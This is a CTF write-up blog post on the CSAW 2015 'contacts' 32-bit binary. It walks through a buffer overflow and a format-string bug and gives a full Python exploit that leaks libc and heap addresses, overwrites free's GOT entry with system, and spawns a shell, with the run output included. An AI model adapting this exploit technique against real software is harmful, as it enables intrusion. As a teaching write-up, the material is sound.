GeeksSpeak Team Blog

WriteUps and random thoughts

CSAW 2015 - PWN250 - Contacts

| Comments

CSAW 2015 contacts Writeup
Point = 250
Category = Exploitable

Hi,

we are given a binary contacts,

1
2
hamidx9@KernelsCallMe:~/ctf/csaw/pwn/100$ file contacts
contacts: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a2c73697f9555c6be6c57478029e352df1f28cc8, stripped

The binary seems to be a contact manager, based on my analysis it has a buffer at BSS, and every time we create a contact this structure will be located at the buffer:

1
2
3
4
5
6
7
struct contact {
    char *desc;
    char *num;
    char name[64];
    unsigned int desc_length;
    int enabled;
};

desc is the contacs description and allocates a buffer with buffer size des_length. num is the contact number with size 0xb.

So, we are going to find vulnerabilities.

I named 0x08048980 => editCon, this function edites the contact which you give its name, let’s check the decompilation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __cdecl editCon(int a1)
{
  int n; // [sp+1Ch] [bp-5Ch]@6
  int v3; // [sp+20h] [bp-58h]@5
  int v4; // [sp+24h] [bp-54h]@1
  int v5; // [sp+28h] [bp-50h]@3
  char s; // [sp+2Ch] [bp-4Ch]@1
  int v7; // [sp+6Ch] [bp-Ch]@1

  v7 = *MK_FP(__GS__, 20);
  v4 = a1;
  printf("Name to change? ");
  fgets(&s, 64, stdin);
  if ( strchr(&s, 10) )
    *strchr(&s, 10) = 0;
  v5 = 0;
  while ( 1 )
  {
    if ( v5 > 9 )
    {
      puts("Name not found");
      return *MK_FP(__GS__, 20) ^ v7;
    }
    if ( !strcmp(&s, (v4 + 8)) )
      break;
    ++v5;
    v4 += 80;
  }
  printf("1.Change name\n2.Change description\n>>> ");
  __isoc99_scanf("%u%*c", &v3);
  if ( v3 == 1 )
  {
    printf("New name: ");
    fgets((v4 + 8), n, stdin);
    if ( strchr((v4 + 8), 10) )
      *strchr((v4 + 8), 10) = 0;
  }
  else if ( v3 == 2 )
  {
    free(*v4);
    printf("Length of description: ");
    __isoc99_scanf("%u%*c", &n);
    printf("Description: \n\t");
    *v4 = malloc(n);
    fgets(*v4, n, stdin);
  }
  else
  {
    puts("Bad option");
  }
  return *MK_FP(__GS__, 20) ^ v7;

As you may noticed when i try to edit the name there is no input length check a buffer overflow vulnerability. but there may be a problem since we don’t know it’s value n. this can be fixed by first preparing a description edit, so after entering the function again we have a known size.

and after some diging we can notice there is an another vulnerability, 0x08048bd1 => pCon:

1
2
3
4
5
6
7
8
int __cdecl pCon(int a1, int a2, int a3, char *format)
{
  printf("\tName: %s\n", a1);
  printf("\tLength %u\n", a2);
  printf("\tPhone #: %s\n", a3);
  printf("\tDescription: ");
  return printf(format);
}

Here we go, a nice format string vulnerability.

by using these two vulnerabilites we have write-what-where primitive to exploit the binary.

this is my scenario,

  1. create a contact.
  2. leak a pointer to locate the system symbol using fmt vuln.
  3. create second contact.
  4. leak second contact decription heap address to have a stable exploitation using fmt vuln.
  5. create third contact.
  6. leak third contact decription heap address to have a stable exploitation using fmt vuln.
  7. Overflow first contact name into the second and use proper description address which leaked before and overwrite number pointer to heap by free got address.
  8. Overflow second contact name into the third and use proper description address which leaked before and overwrite number pointer to heap by free+2 got address.
  9. Edit second and third contacts description to %####x%1$hn and proper number to overwrite free to system
  10. Edit first contact description to ‘/bin/sh\x00’
  11. delete first contact and pop a shell.

Of course null byte is not our concern since fgets is used in reading procedure.

please notice i used precision task libc version but you can use libc_database to find a proper one blindly.

I should declare there maybe another or better solution but this let me in ;)

and finally out exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/python


import telnetlib
import struct
import socket
import re
import time
from hexdump import hexdump
import pdb

#system_offset = 0x22a32 # local - ubuntu 15.04 - libc6-2.21-0ubuntu4
system_offset = 0x2670d # Remote -  ubuntu 14.04.2 - libc6_2.19-0ubuntu6.

def readuntil(f, delim='>>> '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]



def create_c(f, n, num, l, desc):
    print "[+] Create Contact"
    f.write("1\n")
    readuntil(f, 'Name: ')
    f.write(n+"\n")
    readuntil(f, ' No: ')
    f.write(num+"\n")
    readuntil(f, 'of description: ')
    f.write(str(l)+"\n")
    readuntil(f, 'Enter description:\n\t\t')
    f.write(desc+"\n")
    #print "MM", f.read(1024)
    readuntil(f)
    

def edit_con_nameon_desc(f, n, l, v):
    print "[+] Edit Contact"
    f.write("3\n")
    readuntil(f, 'change? ')
    f.write(n+"\n")
    readuntil(f)
    f.write("2\n")
    readuntil(f, 'description: ')
    f.write(str(l)+"\n")
    readuntil(f, 'Description: ')
    f.write(v+"\n")
    readuntil(f)

def edit_con_name(f, n, v):
    print "[+] Edit Contact"
    f.write("3\n")
    readuntil(f, 'change? ')
    f.write(n+"\n")
    readuntil(f)
    f.write("1\n")
    readuntil(f, 'name: ')
    f.write(v+"\n")
    readuntil(f)

def print_c(f):
    print "[+] Print Contact"
    f.write("4\n")
    return readuntil(f)

def delete_c(f, n):
    print "[+] Delete Contact"
    f.write("2\n")
    readuntil(f, 'remove? ')
    f.write(n+"\n")

s = socket.socket()

#s.connect(("54.165.223.128", 2555))
s.connect(("127.0.0.1", 1337))

f = s.makefile('rw', bufsize=0)

readuntil(f)

raw_input("$")

#pdb.set_trace()
create_c(f, "AA", "123123", 200, "%31$p\n")
pr = print_c(f)
address = int(re.search(r'\tDescription: 0x(\S+)', pr).group(1), 16)
print "[+] address = ", hex(address)
system_offset += address
print "[+] system address = ", hex(system_offset)
edit_con_nameon_desc(f, "AA", 200, "/bin/sh\x00")
create_c(f, "BB", "123123", 200, "%1$p\n")
pr = print_c(f)
heap_addr = int(re.search(r'\tDescription: 0x(\S+)', pr).group(1), 16)
print "[+] address = ", hex(heap_addr)
heap_addr += 0x10

edit_con_nameon_desc(f, "BB", 200, "BBB")

create_c(f, "CC", "123123", 200, "%1$p\n")
pr = print_c(f)
heap_addr_c = int(re.search(r'\tDescription: 0x(\S+)', pr).group(1), 16)
print "[+] address = ", hex(heap_addr_c)
heap_addr_c += 0x10

edit_con_nameon_desc(f, "CC", 200, "CCC")

edit_con_name(f, "AA", "AA\x00"+"A"*61+struct.pack("<I", 0xc8)+struct.pack("<I", 0x1)+struct.pack("<I", heap_addr) + struct.pack("<I", 0x0804b014) + "BB\x00\n")

edit_con_name(f, "BB", "BB\x00"+"B"*61+struct.pack("<I", 0xc8)+struct.pack("<I", 0x1)+struct.pack("<I", heap_addr_c) + struct.pack("<I", 0x0804b016) + "CC\x00\n")


edit_con_nameon_desc(f, "BB", 200, "%{}x%1$hn".format(system_offset & 0xffff))
edit_con_nameon_desc(f, "CC", 200, "%{}x%1$hn".format((system_offset >> 16) & 0xffff))
print_c(f)

delete_c(f, "AA")

t = telnetlib.Telnet()
t.sock = s
t.interact()


s.close()

And running the expl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hamidx9@KernelsCallMe:~/ctf/csaw/pwn/100$ python sol.py 
$
[+] Create Contact
[+] Print Contact
[+] address =  0xf75a9a83
[+] system address =  0xf75d0190
[+] Edit Contact
[+] Create Contact
[+] Print Contact
[+] address =  0x9ea10e8
[+] Edit Contact
[+] Create Contact
[+] Print Contact
[+] address =  0x9ea11c8
[+] Edit Contact
[+] Edit Contact
[+] Edit Contact
[+] Edit Contact
[+] Edit Contact
[+] Print Contact
[+] Delete Contact
cat flag
flag{f0rm47_s7r1ng5_4r3_fun_57uff}

@HAMIDx9

Comments